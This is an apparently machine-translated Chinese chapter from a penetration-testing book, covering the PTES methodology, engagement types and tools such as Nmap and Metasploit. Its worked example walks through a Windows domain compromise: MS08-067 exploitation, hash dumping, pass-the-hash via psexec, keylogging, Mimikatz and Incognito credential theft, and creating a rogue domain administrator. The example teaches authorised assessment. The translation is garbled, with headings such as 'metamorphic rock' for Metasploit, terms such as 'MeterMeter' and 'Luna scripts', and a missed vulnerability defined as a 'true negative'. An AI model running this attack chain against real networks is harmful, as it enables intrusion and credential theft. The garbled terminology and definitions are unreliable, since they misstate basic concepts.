Skip to content

Latest commit

 

History

History
562 lines (318 loc) · 61 KB

File metadata and controls

562 lines (318 loc) · 61 KB

一、了解渗透测试方法

在快速切入之前,在本章中,我们将实际定义什么是渗透测试,什么不是,渗透测试执行标准PTES)是什么,以及将使用的工具。这些信息将有助于指导您可能参与的未来业务。本章将帮助指导新的评估员和组织,他们希望建立自己的业务。如果你想直接进入代码和细节,我建议你跳到第 2 章Python 脚本的基础。我提醒你,阅读本章的好处在于,它将提供一个框架和思维方式,帮助你将脚本儿童与专业人士区分开来。那么,让我们从什么是渗透测试开始。

最重要的是,这些工具和技术只能在您拥有或有权在其中运行这些工具的环境中执行。切勿在未经授权的环境中练习这些技术;记住,未经许可的渗透测试是非法的,你可能因此而坐牢。

要实践最初几章中列出的内容,请安装一个虚拟化套件,如 VMware Player(http://www.vmware.com/products/player 或 Oracle VirtualBox(http://www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html )。使用 Kali Linux(的当前版本创建虚拟机虚拟机)https://www.kali.org/downloads/ 、武士 Web 测试框架(http://samurai.inguardians.com/ 和可分解( http://www.offensive-security.com/metasploit-unleashed/Requirements 。您可以使用 Kali 系统中的 Metasploitable 框来执行这些测试。提供的最后一个链接有许多与这些工具相关的教程和配置说明;如果每章都需要额外的工具,它们将在此处突出显示。

渗透测试概述

关于渗透测试是什么存在着巨大的误解。这在最近进入该领域的专业人士中也很常见。要求进行渗透测试的新渗透测试人员或专业人士通常会说,这些测试证明了漏洞的可利用性、环境对漏洞的敏感性,或者只是漏洞的存在。这种误解表现为对约定范围、来源和执行的实际影响。此外,这种错误的认识包括这样的想法:渗透测试将发现所有漏洞,每次都能找到未知的零天,并且无论采取何种控制措施,所有目标都将始终得到满足。

渗透测试是评估组织的安全策略是否能够保护关键数据不受恶意参与者行为影响的实践。安全战略是组织的首要信息安全计划。它侧重于维护组织关键数据和资源的机密性、完整性和可用性。这是通过使用人员、流程和技术的组合将风险降低到可接受的水平。渗透测试的第一个和第二个定义之间的区别是白天和黑夜。

第一个定义只关注脆弱性;这意味着人们期望评估员将执行的活动与利用或发现漏洞或简单的错误配置有关。它不考虑与组织可能拥有的策略、流程或不安全关系相关的不良做法。这些先入为主的观念通常会对组织和新评估人员产生以下重大影响。

组织领导层不会制定与违反关键数据存储库相关的访问控制或识别关键数据位置相关的目标。人们还将初步相信入侵保护系统IPS)和入侵检测系统IDS)是防止泄露的关键;所有有经验的评估员都知道这不是事实。此外,评估的范围可能无法提供现实的结果。这种误解最具破坏性的结果是,组织可能无法识别评估员何时缺少执行所需参与所需的技能。

类似地,新的评估人员有一种误解,即一个漏洞管理解决方案VMS),如 Nexpose、Nessus、Qualys 或其他人,将识别进入环境的途径。这些可能强调进入系统的方法,但的假阳性和真阴性率很高。假阳性表示某些东西被确定为易受攻击,但事实并非如此。假阳性的反面是真阴性,这意味着某些东西被确定为安全的,但它却容易受到攻击。

如果漏洞不在数据库中,则系统不会识别可能授予访问权限的漏洞。VMS 不会突出显示与不良做法或流程相关的链式攻击,这将被归类为弱点或漏洞。这些工具在渗透测试中的使用使得它们非常嘈杂,它们鼓励评估人员模拟相对过时的攻击。

大多数恶意参与者利用阻力最小的路径,这通常与著名的 MS08-067 或 MS06-40 等远程代码攻击无关。相反,评估员应该后退一步,寻找可能提供未被注意访问的不安全关联和配置。大多数高级评估人员在渗透测试期间不使用 VMS 工具,而是专注于手动评估环境。

其中许多误解与其他类型的约定直接相关。这来自其他被宣传为渗透测试的安全评估,或者来自运行或接收这些测试结果的人员。在下一节中,列出了经常与渗透测试混淆的评估样本。它应该足以突出实际渗透测试与其他安全评估和活动之间的差异。

了解渗透测试不是什么

其他类型的评估和活动经常被宣传或混淆为渗透测试。这些类型的参与包括漏洞评估、大规模逆向工程项目和黑客攻击。让我们依次讨论每一个问题,以便了解渗透测试的适用范围。

脆弱性评估

漏洞评估****VA使用虚拟机扫描漏洞。好的 VAs 然后使用评估员消除误报,之后可根据业务影响和利用可能性调整调查结果的实际风险评级。通常,安全顾问或渗透测试人员会执行这些评估,这可能需要实际利用这些漏洞进行概念验证。这种类型的评估非常有助于展示一个组织在安全配置中执行修补和部署资产的能力。这里的关键是,这些类型的评估并不侧重于从恶意参与者的角度访问关键数据,而是与发现漏洞相关。

逆向工程项目

倒车可以是渗透测试的一部分,但今天比过去难得多。第 8 章利用 Python、Metasploit 和Immunity进行的漏洞开发将更详细地讨论这一点,因为这里将描述实际的漏洞开发。当前的渗透测试可能包括漏洞开发,但其目的是创建与国产代码相关的概念证明,并获得对数据可能驻留的关键系统的访问权。

相比之下,在大规模的反向服务中,评估员试图证明应用对反向服务的总体敏感性以及与源代码、编译和关联库相关的弱点。这些类型的攻击更适合于逆向工程师,他们花时间识别常见的攻击链和方法来破坏应用,而不是获得对关键数据的访问。在这一特定领域的经验水平是广泛的。通常,许多评估人员从渗透测试转移到这一特定技能集,在那里他们全职进行反向测试。

黑客行为

黑客攻击不是一种评估,而是直接利用可利用的漏洞;这可能与恶意活动有关,也可能是为了研究。黑客攻击的目的不是获取对关键数据的访问,而是仅仅破解漏洞。对黑客行为有很多定义,通常与渗透测试直接相关,但没有具体或明确的目标与黑客行为相关。既然已经描述了渗透测试和其他活动之间的一些重大差异,那么就可以强调与实现目标相关的方法。

评估方法

有多种与渗透测试相关的评估方法。一些方法的例子包括开源安全测试方法手册OSSTMM),用于 Web 评估的开放 Web 应用安全项目OWASP),以及国家标准与技术研究所NIST特别出版物 800-115《信息安全测试和评估技术指南》和 PTES。本书中我们将重点介绍的方法是 PTES,因为它是新评估人员的可靠资源。

渗透测试执行标准

PTE 有七个不同的阶段,即交战前互动、情报收集、威胁建模、漏洞分析、利用、利用后和报告。在某种程度上,每项业务都将遵循这些阶段,但经验丰富的评估员将从一个阶段平稳地、相对无缝地移动到下一个阶段。使用方法的最大好处是,它允许评估人员全面、一致地评估环境。与评估保持一致意味着两件事:

  • 评估员遗漏大型漏洞的可能性较小
  • 它降低了隧道视野,这会导致评估人员花太多时间专注于无法推进参与的区域
  • 这意味着,无论客户或环境如何,评估员都不会以先入为主的观念进行评估
  • 评估员每次将为环境提供相同水平的能力
  • 客户每次都会收到高质量的产品,评估人员很少会遗漏细节

所有的方法或框架都提供了这些好处,但是像 OWASP 这样的 PTE 对新的评估员来说还有一个额外的好处。在 PTE 中,有许多与评估员可能遇到的不同环境相关的技术指南。在这些技术指南中,有关于如何使用行业标准工具处理和评估环境的建议。

需要注意的是,技术指南不是运行手册;他们不会向评估员提供介入并从头到尾执行审计业务的方法。只有经验和接触环境才能为评估员提供处理他/她遇到的大多数情况的方法。应该注意的是,没有两个环境是相同的;每个组织、公司或公司都有细微差别。这些差异意味着,即使是经验丰富的评估员也会发现让他/她难堪的时刻。当标准开发不起作用时,测试人员可以有隧道视觉;坚持一种方法论可以防止这种情况。

在高度安全的环境中,评估人员通常必须具备创造性,并进行连锁利用,以实现设定的目标。我的一位老队友雄辩地将创造性和复杂的功绩定义为:“它们是渗透测试人员绝望的信号。”这个幽默的类比还突出了评估人员何时会提高其技能。

评估员如何知道他/她何时需要执行这些复杂的利用,是因为知道所有简单的东西都失败了;当真正的攻击者使用阻力最小的路径时,评估员也应如此。当这失败时,并且只有当这失败时,评估员才应该开始提升必要的技能水平。作为评估员,您正在评估环境抵抗恶意参与者行为的能力。

这些防护物是建筑物中的砖块,随着时间的推移而形成,通过形成防御形成安全的姿态。就像美式足球一样,如果一个组织没有掌握强大防守的基本要素,那么它就无法抵御诡计。因此,作为评估员,我们应该从底层开始,逐步向上,逐项列出问题。

这并不意味着如果发现一条路径,评估员应该停止;他/她应确定关键数据位置,并证明这些位置可能受到危害。评估员还应突出显示真正的攻击者访问关键数据可能采取的其他路径。能够识别与泄露关键数据相关的多个路径和方法需要一种系统的方法。这七个阶段是控制交战流程的一个例子。

婚前互动

PTE 的第一阶段是所有订婚前工作,毫无疑问,这是顺利成功订婚的最重要阶段。在此采取的任何捷径或完成此阶段的过度匆忙都可能对评估的其余部分产生重大影响。此阶段通常由组织创建评估请求开始。可能要求的评估示例通常分为以下一大类:

  • Web 应用
  • 内部网络
  • 外部网络
  • 身体的
  • 社会工程电话
  • 网络钓鱼
  • 互联网语音协议VOIP
  • 无线的
  • 移动应用

组织可联系评估人员名录或提供建议书征询函RFP),其中将详细说明环境类型、所需评估以及其希望交付的内容。根据本招标书,多家评估公司或单个有限责任公司有限责任公司)将对与环境细节相关的工作进行投标。其投标最符合要求的工程、价格、相关范围、时间表和能力的一方通常会赢得工程。

工作说明书SOW)详细说明了将要执行的工作和最终产品,通常是业务约定书EL或包含所有必要法律细节的合同的一部分。一旦 EL 被签署,范围的微调就可以开始了。通常,这些讨论是评估团队第一次遇到范围蔓延。在这一点上,客户可能会尝试增加或延长承诺的工作水平,以获得比其可能承诺支付的更多的报酬。这通常不是故意的,但在极少数情况下,这是由于 RFP 编写者、评估员提出的问题的返回答案以及最终 EL 或 SOW 之间的错误沟通造成的。

通常,小的调整或延长工作可能会被批准,但更大的要求会被取消,因为它们可能被视为免费工作。然后,记录将要执行的业务部分的最终范围。有时,一个 EL 将涵盖多个参与部分,可能需要不止一个后续讨论。在这一阶段需要记住的一件大事是,作为评估员,您正在与客户合作,我们应该提供帮助并灵活帮助客户实现其目标。

除了在初始业务范围界定期间创建的范围蠕变外,客户在业务执行期间通常还有机会增加范围。这通常伴随着客户机在测试开始后请求工作扩展或额外的资源测试。由于资源和时间原因,对范围的任何修改不仅应仔细考虑,还应以某种书面形式完成,如电子邮件、签名和授权信,或对请求的其他非信誉确认书。

最重要的是,任何范围调整都应由授权做出此类决定的人员进行。这些考虑因素都是保持约定合法和安全的一部分。签署这些文件的人必须了解与满足截止日期、评估特定环境和保持利益相关者满意相关的风险。

在这一特定阶段确定了审计业务的目标,以及其他各方可能需要的批准。如果公司将其环境托管在云提供商基础设施或其他共享资源上,则还需要该组织的批准。批准活动的各方通常需要测试的开始和结束日期,以及来源互联网协议IP地址),以便验证活动是否真正恶意。

评估开始时必须确定的其他项目是评估正常报告和紧急情况的联络点。如果评估员的活动认为某个资源已离线,则评估员需要立即与联系人联系。此外,如果发现严重漏洞,或者如果认为资源已被真正的恶意参与者破坏,评估员应立即联系主要联系人(如果可能),如果没有,则联系紧急联系人。

此联系应在评估员获取必要的概念证明后进行,以证明资源可能已经受损或存在严重漏洞。在联系之前完成概念验证捕获的原因是,这些问题的报告通常意味着资源离线。一旦离线,评估员可能无法跟进和证明他/她在最终报告中的陈述。

概念验证通常是特定数据类型、事件序列、暴露、利用或泄露的屏幕截图。

除了报告意外和关键事件外,还应安排定期状态会议。这可以是每周、每天或更频繁或更少的,取决于客户的请求。状态会议应包括评估员已经做了什么,他们计划做什么,以及可能影响最终报告交付的时间线的任何偏差。

与产品和最终报告交付相关,必须有一种安全的方法来交付约定的细节。这里的平衡来自以下因素:客户的能力和知识水平、评估团队可用的解决方案、数据的安全性以及客户的能力和要求。最好的两种选择是安全交付服务器,或相当好的隐私PGP加密。有时,这些选项不可用,或者其中一方无法实施或使用它们。此时,应确定其他形式的数据保护。

这里需要注意的一点是,受密码保护的文档、可移植文档格式和 zip 文件通常没有强大的加密形式,但它们总比没有好。这些仍然需要来回传输密码才能打开数据。如果可能,应通过其他方法或与实际数据不同的通道传输密码。例如,如果数据通过电子邮件发送,则应通过电话、短信或信鸽提供密码。与此相关的实际风险将在后面的章节中重点介绍,届时我们将讨论针对 web 界面的密码喷射攻击和破解外围的方法。参与前讨论的最后一部分涉及如何进行测试:白盒、灰盒或黑盒。

白盒试验

白盒测试也称为透明盒测试或水晶盒测试。这个词可以是这三个词中的任何一个,但它基本上是指知情的攻击者或知情的内幕人士。关于的合适术语有多种说法,但归根结底,这种类型的评估强调了与恶意内幕人士或攻击者相关的风险,他们可以访问显著暴露的信息。向评估员提供了与网络上的内容、网络运行方式甚至潜在弱点(如基础设施设计、IP 地址和子网)相关的详细信息。由于时间非常短,这种评估非常有益。从完全暴露的信息后退或完全拉回的窗帘是灰盒格式。

灰盒试验

遵循灰框格式的评估由评估员提供基本信息。这包括目标、可接受测试的区域以及操作系统或嵌入式设备品牌。组织通常也会逐项列出哪些 ID/IP 已到位,以便评估员在看到错误结果时能够确定原因。灰箱评估是最常见的评估类型,组织提供一些信息以提高结果的准确性并增加反馈的及时性;最后,它可能会降低参与的成本。

黑盒测试

评估员将遇到的黑盒约定的数量与白盒约定的数量大致相同,并且它们是光谱的完全相反的一面。评估人员除了要评估的组织之外,没有提供任何信息。评估员从广泛的开源情报OSINT收集中确定活跃的资源。高级评估员只应执行这些类型的评估,因为他们必须确定目标在外部居住的区域,而在内部则要格外安静。

在组织进行初步研究后的外部评估测试之前,目标始终由请求组织授权或拥有。黑盒测试通常是双盲测试的一部分,也称为评估,不仅是对其环境的测试,也是对组织的监控和事件响应能力的测试。

双盲试验

双盲测试通常是黑盒式约定的一部分,但也可以在灰盒和白盒式约定中进行。灰盒和白盒交战的关键在于,对测试周期、攻击向量和其他信息的控制更难对防守团队保密。在执行约定之前,必须充分确定被视为双盲的约定,其中应包括对检测到的具体活动和应检测到的活动进行事后讨论和验证。这些类型的交战结果对于确定防守团队工具的调整程度以及过程中的潜在差距非常有用。只有当组织具有成熟的安全态势时,才应执行双盲。

情报搜集

这是 PTE 的第二阶段,如果组织希望评估团队确定其外部风险,这一阶段尤为重要。这在与外部周长测试相关的黑盒或灰盒约定中非常常见。在参与的这一阶段,评估员将使用注册中心,如美国互联网号码注册中心ARIN)或其他区域注册中心、信息库查询工具,如 WhoIs、Shodan、Robtex、社交媒体网站,以及工具,如 Recon 和谷歌黑客数据库GHDB)。

除了外部评估之外,在这一阶段收集的数据非常适合构建社会工程和物理活动的概况。发现的有关组织及其人员的组件将为评估人员提供与员工互动的手段。这样做的目的是希望员工能够泄露信息或提供借口,以便提取关键数据。对于技术合作,在工作网站、公司网站、地区博客和校园地图上进行的研究可以帮助建立字典攻击的单词列表。特定的数据集,如当地运动队、球员姓名、街道名称和公司首字母缩写词,通常作为密码非常流行。

《韦氏词典》将“借口”定义为所谓的目的、动机或假象,以掩盖真实意图或事态。

像 Cewl 这样的工具可以用来提取这些网站上的单词,然后,这些单词可以用开膛手约翰(John the Ripper)进行操作,用字符替换来置换数据。这些列表对于针对登录接口的字典攻击或破解从组织中提取的哈希非常有用。

置换在密码攻击和界面密码猜测攻击中非常常见。韦氏词典将“排列”定义为事物存在或排列的多种不同方式或形式之一。

其他对评估人员有利的细节包括组织在招聘广告、员工 LinkedIn 档案、技术合作关系和最近的新闻文章中列出的技术。这将为评估员提供有关他/她可能遇到的资产类型和即将进行的主要升级的情报。这使得现场完成的工作在执行之前能够更好地针对性和研究。

威胁建模

PTE 的第三个阶段是威胁建模,对于大多数交战,此阶段被跳过。威胁建模通常是单独参与的一部分,即根据许多因素逐项列出组织可能面临的潜在威胁。这些数据用于帮助构建案例研究,以识别利用组织漏洞表现为风险的真正威胁。通常,案例研究用于量化一段时间内的特定渗透测试,以确定安全策略的果断程度以及未考虑的因素。

研究的组成部分扩展到标准情报收集之外,包括相关业务、商业模式、第三方、声誉和与有见解的主题相关的新闻文章。除了所发现的以外,由于时间、暴露和记录的事实,评估员始终无法确定某些粒子。威胁建模在很大程度上是理论性的,但它基于发现的指标和业务所在市场中的过去事件。

当威胁建模用作渗透测试的一部分时,情报收集阶段和威胁建模阶段的详细信息将回滚到交战前阶段。确定的详细信息有助于建立约定,并揭示评估员应该模拟的恶意参与者的类型。组织面临的常见威胁类型如下:

  • 民族国家
  • 有组织犯罪
  • 黑客
  • 脚本小子
  • 活动分子
  • 内部人员(有意或无意)

在评估威胁时,有几件事要时刻牢记在心,这些威胁中的任何一种都可能是内幕人士。只要一封网络钓鱼电子邮件,或者一名不满的员工广播凭据或访问权限,一个组织就可以公开妥协。内幕人士可能无意中提供访问权限的其他方式包括技术论坛、支持团队和博客。

技术和管理支持团队经常在博客、论坛和其他位置发布配置或设置以寻求帮助。任何时候发生这种情况,内部数据都会暴露在以太中,而且这些配置通常会保存加密或未加密的凭据、访问控制或其他安全功能。

那么,这是否意味着每个组织都受到内部人士的威胁,而且经验的范围可能不限于实际内部人士?内部人士也是最难缓解的威胁。大多数渗透测试不包括模拟内幕人士的凭证。根据我的经验,这只能由具有成熟安全态势的组织来完成。这种状态通常只有通过各种安全评估才能达到,包括通过渗透测试模拟的多种威胁。

大多数组织不支持内部认证评估,除非他们有一些未经认证的业务,这些业务的调查结果已经得到缓解。即使如此,也只有那些强烈希望通过董事会级别的认可来模拟现实威胁的组织才会这样做。除了内部人员,其他威胁可以通过观察多个因素进行评估;通过查看 Verizon数据泄露调查报告DBIR可以找到过去事件关联的一个例子。

Verizon DBIR 使用报告的妥协,并根据市场将结果汇总为最常识别的事件类型。但是,这些信息应结合上下文,因为这仅适用于捕获或报告的事件。通常,被抓住的事件可能不是最初导致后续妥协的方式。

每年都有市场变化的威胁,因此一年内创建的报告的结果对下一年的研究没有用处。因此,任何对此信息感兴趣的读者都应该从下载最新版本 http://www.verizonenterprise.com/DBIR/ 。此外,确保根据与公开信息相关的额外研究和其他报告选择要模拟的向量。根据单一研究形式的假设进行评估是不专业的。

大多数时候,组织已经知道他们需要或想要什么类型的参与。这一阶段与所述研究的互动通常是行业专家而不是新评估人员要求的。因此,如果开始做这项工作时,您看到很少有人请求进行包括这一工作阶段的评估,至少在最初阶段是这样,请不要感到惊讶。

脆弱性分析

直到这个阶段,大部分(如果不是全部的话)所做的研究都没有涉及到组织资源;相反,这些细节是从其他存储库中提取的。在 PTES 的第四阶段,评估员将确定进一步研究测试的可行目标。这直接涉及端口扫描、横幅抓取、公开服务、系统和服务响应以及版本标识。这些项目虽然看似微小,但却是进入组织的支点。

从技术角度来说,成为一名优秀评估师的秘诀在于这个阶段。原因是评估员的大部分时间都花在这里,尤其是在职业生涯的早期。评估人员研究暴露的内容、可行的漏洞以及利用这些系统的方法。花费数年时间进行评估的评估人员通常会在这一阶段加速,因为他们有找到攻击目标和获取访问权限的方法的经验。不要被这一点所愚弄,因为一方面,他们花了很多年的时间通过经验来整理这些数据;另一方面,在某些情况下,即使是一个伟大的评估师也会在这一阶段花费数小时,因为一个组织可能有一种独特的或僵化的姿态。

渗透测试的最大秘密通常不会在电影、杂志和/或书籍中转述,那就是渗透测试主要是研究、研磨和报告编写。如果我必须衡量一名优秀的新评估员在参与评估过程中花费的平均时间百分比,70%将用于研究或研磨,以找到适用的目标或可行的漏洞,15%用于与客户沟通,10%用于编写报告,5%用于利用漏洞。如前所述,随着评估员获得更多经验,这些百分比会发生变化。

大多数评估失败或参与度不好的评估人员都是由于推进阶段,而没有执行胜任的研究而导致的。在这里花费所需时间的好处是,与开发相关的下一个阶段将非常迅速。评估人员和恶意参与者都知道的一件事是,一旦组织中的一个立足点被抓住,它基本上就结束了。第 3 章使用 Nmap、Scapy 和 Python识别目标,详细介绍了本阶段完成的活动。

剥削

第五阶段是开发阶段,这就是乐趣真正开始的地方。大部分章节都集中于前一阶段的脆弱性分析,即本阶段。在此阶段,所有之前的工作都会导致实际访问系统。获取系统访问权限的常用术语是弹出、炮击、破解或利用。当您听到或阅读这些术语时,您知道您应该能够访问系统。

利用漏洞不仅仅意味着通过一段代码访问系统、远程利用漏洞、创建利用漏洞或绕过防病毒。它可以像使用默认或弱凭据直接登录系统一样简单。尽管许多较新的评估师认为这不太可取,但经验丰富的评估师尝试找到通过本机协议和访问访问主机的方法。这是因为本机访问不太可能被检测到,而且更接近恶意参与者可能执行的真实活动。

如果您是渗透测试新手,在开发过程中会有一些特定的时间让您非常兴奋,这些时间通常被视为目标:

  • 当你第一次获得一枚炮弹时
  • 首次利用 OWASP 前 10 个漏洞进行攻击时
  • 第一次编写自己的漏洞时
  • 你第一次发现零日

这些所谓的目标通常是评估者之间,甚至是组织团队内部经验的衡量标准。在您实现这些首次开发目标后,您将希望将您的技能扩展到更高的水平。

一旦您获得了对系统的访问权,您就需要对该访问权进行一些操作。当考察经验丰富的专业人士和该领域新评估师之间的差异时,划分不是剥削,而是剥削后。这是因为初始访问并不能让您访问数据,但后续访问、透视和后期开发通常可以。

支点是在评估期间利用新职位评估通常无法获得的资源的方法。大多数人将旋转等同于在 Metasploit 中设置路由,但它也与攻击或评估来自不同受损设备的资源有关。

后期开发

在所有阶段中,这是您看到评估员花费的时间发生变化的地方。新的评估人员通常在第四阶段或脆弱性分析阶段花费更多的时间,而经验丰富的评估人员在这方面花费了大量的时间。第六阶段也称为开采后阶段;特权升级、凭证搜索、数据提取和数据透视都在这里完成。

在此情况下,评估员有机会通过证明达到的访问级别、访问的关键数据的数量和类型以及绕过的安全控制来证明组织面临的风险。所有这些都是开发后阶段的典型特征。

与第五阶段一样,第六阶段也有一些特定的事件,这些事件通常是新评估人员的目标。就像开发目标一样,一旦这些开发后目标完成,您将在这个安全专业化方面取得更复杂的成就。

以下是新评估员和合格评估员之间的测量棒示例:

  • 第一次手动提升 Windows、Linux、Unix 或 Mac 操作系统上的权限时
  • 第一次获得域管理员访问权限时
  • 第一次修改或生成 Metasploit 模块时

开发后阶段包括与升级权限、提取数据、分析、创建持久性、解析用户数据和配置以及清理相关的活动。在系统被访问并过渡到系统检查后执行的所有活动都与利用后相关。一旦交战结束,所有达到的访问级别、访问的关键数据和绕过的安全控制都会在一份文件中突出显示,即报告。

报告

与渗透测试(不仅仅是 PTE)相关的最重要阶段是报告。一天结束时,您的客户要求并支付报告费用。订婚结束时,他/她手中唯一能拿的就是这份报告。该报告也是评估员在环境中识别的风险的转化。

一份好的报告有一个执行摘要,目标是首席套房和/或咨询委员会的成员。它还应包含一个故事情节,以解释在参与过程中所做的事情、实际的安全发现或弱点,以及组织已建立的积极控制。如有可能,每个注意到的安全发现应包括概念证明。

概念证明就是这样;您正在通过利用来证明安全状态存在异常。因此,每个确定的发现都应该包括与所执行活动相关的屏幕截图,例如弱密码、被利用的系统和访问的关键数据。

就像组织中确定的安全调查结果一样,任何积极的调查结果都需要记录和描述。积极的调查结果有助于告诉组织什么实际影响了模拟的恶意参与者。它还告诉一个组织它应该把投资放在哪里,因为报告和约定提供了它工作的具体证据。

一个例子

下一节将重点介绍评估员如何实现访问、提升权限,并可能获得对高级别关键数据的访问。本示例应提供本章其余部分和以下章节中所述工具的上下文。应注意的是,PTE 的第四、五和六阶段或脆弱性分析、开发和开发后阶段是重复的。这些阶段中的每一个都将在整个评估过程中执行。为了更好地强调这一点,下面的场景是今天由较新的评估人员执行的一个非常常见的利用培训,它显示了使用的工具。这并不是要展示如何自己完成这些命令,而是要突出显示阶段流,每个阶段使用的工具可能不明确。

在进行评估时,评估员将识别漏洞,根据需要对其进行攻击,然后在攻击后或攻击后升级权限并提取数据。有时,单个行动可能被视为脆弱性分析和利用,或利用和利用后阶段活动的组合。作为重复步骤的一个示例,在评估员识别 Windows XP 主机并确定其是否存在漏洞 MS08-067 后,评估员使用名为ms08_067的关联 Metasploit 模块对其进行攻击。评估员将升级权限,然后使用smart_hashdump 模块从被利用的系统中提取哈希值。然后,评估员将从提取的哈希中复制本地管理员哈希,该哈希与以pwdump哈希格式存储的 500 的安全标识符SID相关。

评估员将扫描该区域内的所有主机,并使用nmap 工具确定主机端口 445 是否打开。这些可能是通过哈希PtH攻击的可行目标,但评估员必须确定这些主机是否具有相同的本地管理员密码。因此,评估员通过使用 Unix/Linux 工具 cat、grep 和 cut 解析输出,通过 IP 创建具有开放端口 445服务器消息块SMB)的 IP 地址列表。使用此列表,评估员对新创建列表中的所有主机执行 SMB 登录,使用smb_loginMetasploit 模块,本地管理员哈希,域设置为WORKGROUP

每个成功登录的主机都将成为 PtH 攻击的可行目标。评估员必须找到一位拥有新信息或关键数据的主持人,这些信息或数据将有助于进一步开展业务。由于评估员通过 Windows XP 框在网络上站稳了脚跟,他/她只需要知道域管理员是谁以及他们在哪里登录。

因此,他/她将从 Windows XP 主机通过enum_domain_group_users Metasploit 模块连接到的域中查询域管理员组的成员。然后,评估员可以识别域管理员使用名为loggedin_users的社区 Metasploit 模块或名为psexec_loggedin_users or enum_domain_users的内置模块登录的位置。通过smb_login模块的成功登录消息进行响应的主机将使用任一模块和相关域名进行测试。使用其中一个域管理员的用户名进行响应的主机将是利用该漏洞的最佳位置。然后,评估员可以执行 PtH 攻击,并使用psexec Metasploit 模块将有效载荷投放到箱子上。这将在相同的本地管理员哈希和域设置为WORKGROUP的情况下完成。

一旦在该系统上建立了立足点,评估员可以确定域管理员当前是否登录到该系统,或者过去是否登录过该系统。评估员可以查询系统并识别当前登录的用户,以及他们是否处于活动状态。如果用户当前在会话中处于活动状态,评估员可以使用 Metasploit 设置键盘记录器,并使用 smartlocker 模块锁定屏幕。在过去,它被分解成多个模块,但今天,我们是高效的。当用户解锁屏幕时,他/她将输入帐户的凭据,然后将其提供给评估员。

如果用户当前未处于活动状态,评估员可以尝试使用 Mimikatz 等工具从内存中提取凭据,方法是使用load mimikatz将该功能加载到 MeterMeter 会话并运行wdigest。如果内存中没有凭据,评估员可以尝试通过使用load incognito 命令将 Incognito 工具加载到 MeterMeter 中,窃取内存中缓存凭据的令牌来模拟用户。使用此访问,评估员可以在域上创建一个新用户,然后将该用户添加到域控制器上的域管理员组。为了确定适用的域控制器,评估员将 ping 域名,该域名将以 DC 的 IP 响应。

最后,评估员可以使用add_user命令创建他/她的新恶意用户,并将add_group_user发送给指向具有-h标志的 DC IP 的域管理员组。此域管理员可以提供网络周围的其他访问权限,或者可以根据需要使用相关访问权限创建和/或修改其他帐户。正如您在这些步骤中所看到的,有多个重复的三个阶段的示例。浏览以下列表,了解每个活动如何应用于特定阶段:

  1. 识别 Windows XP 主机(漏洞分析)。
  2. 确定 Windows XP 主机是否易受 MS08-067 攻击(漏洞分析)。
  3. 利用 Metasploit 的 MS08-067 漏洞攻击 Windows XP 主机(利用)。
  4. 从 Windows XP 主机提取哈希(攻击后)。
  5. 通过 IP 或端口 445 扫描所有其他主机的 SMB(漏洞分析)。
  6. 使用本地管理员哈希执行 SMB 登录以识别易受攻击的主机(漏洞分析/利用)。
  7. 在 Windows XP 系统上为域管理员组的成员查询域控制器(攻击后)。
  8. 识别与 Windows XP 框具有相同本地管理员哈希的系统上的登录用户,以识别域管理员登录的位置(利用漏洞/利用后)。
  9. 对具有已登录域管理员的系统执行 PtH 攻击(利用此漏洞)。
  10. 确定域管理员在盒子上的活动状态(攻击后):
*   如果当前已登录,请设置一个按键记录程序(攻击后)
*   锁定屏幕(攻击后)
*   如果凭据在内存中,请使用 Mimikatz 进行窃取,这是我们在下面强调的一个工具(后利用)
*   如果令牌位于缓存会话的内存中,则使用匿名方式窃取它们(后利用)
  1. 通过 ping 域识别域控制器(漏洞分析)。
  2. 从受损系统在域控制器上创建新用户(攻击后)。
  3. 将新用户从受损系统添加到域管理员组(攻击后)。
  4. 确定可访问的关键数据的新位置(漏洞分析)。

现在,经验丰富的评估人员通常会完成与脆弱性分析相关的必要活动,并尽早对数据进行编目。因此,创建端口 445 打开的主机列表、DC IP 地址和其他详细信息将在评估的早期完成。通过这种方式,如果参与是双盲评估的一部分,评估员可以在被抓到之前快速行动以获得特权访问权。既然已经制定了评估的方法和组织,我们需要看看目前使用了哪些工具。

渗透测试工具

以下是在交战期间使用的一些最常见的工具,并举例说明如何以及何时使用这些工具。在第 2 章Python 脚本基础知识之后,我们将进一步解释其中的许多工具,并提供其他示例。我们不可能损坏市场上的每一种工具,也不能对它们何时使用的具体情况进行描述,但这里有足够的例子来提供坚实的知识基础。在本书中,显示超长的命令示例可能需要不止一行。这些命令将使用**字符来指定新行。如果复制并粘贴这些命令,它们将正常工作,因为在 Linux 和 Unix 中,命令在回车后继续执行。

这些都是根据你最有可能从中得到最大利用的东西来组织的。在查看这些工具之后,您将了解市场上的情况,并看到可能需要定制 Python 脚本或工具的潜在差距。通常,这些脚本只是桥接代理,以正确的格式解析和输出所需的详细信息。其他时候,他们会将繁琐而费力的过程自动化;在阅读之前,请记住这些因素。

NMAP

网络映射器Nmap是为管理员和安全专业人员创建的首批工具之一。它提供了业界最好的一些功能,可以快速分析目标并确定它们是否具有可利用的开放端口和服务。作为安全专业人员,该工具不仅为我们提供了与 Luna 脚本相关的附加功能,可以充当小型虚拟机,还提供了利用系统进行攻击的手段。

似乎所有这些都不足以使 Nmap 成为评估员和工程师工具包、Nmap 安全扫描项目和的主要工具 http://insecure.org/ 已经为每天需要在进行几次测试扫描的人建立了一个网站 http://scanme.nmap.org/ 。除了让新的评估人员有机会每天执行几次扫描之外,该网站还可以查看组织内部可以访问哪些端口。如果您想自己测试一下,请针对站点尝试标准的完整连接传输控制协议TCP端口扫描。与 Nmap 相关的其他细节将在第 3 章中讨论,用 Nmap、Scapy 和 Python识别目标。以下示例显示了如何针对 Internet 上打开的前 10 个端口进行扫描(请在执行此扫描之前阅读其网站上的建议):

nmap –sT –vvv --top-ports 10 –oA scan_results scanme.nmap.org

变质岩

2003 年,H.D.Moore 创建了著名的 Metasploit 项目,最初是用 Perl 编写的。到 2007 年,框架完全用 Ruby 重新编码;到 2009 年 10 月,他把它卖给了 Nexpose 的创建者 Rapid7。许多年后由于 H.D.Moore 的销售规定,框架仍然是免费提供的产品。通过该框架,Rapid7 创建了一个专业产品,恰当地称为 Metasploit Pro。

Pro 解决方案具有许多框架没有的功能,例如集成到 Nexpose、原生入侵防御系统IPS)绕过有效负载、web图形用户界面GUI)和多用户功能。这些额外功能的价格很高,但根据您的市场,有些客户需要支付所有工具的费用,因此请记住专业版。如果您不需要为 Metasploit 付费,并且不需要其他特性,那么该框架就足够了。

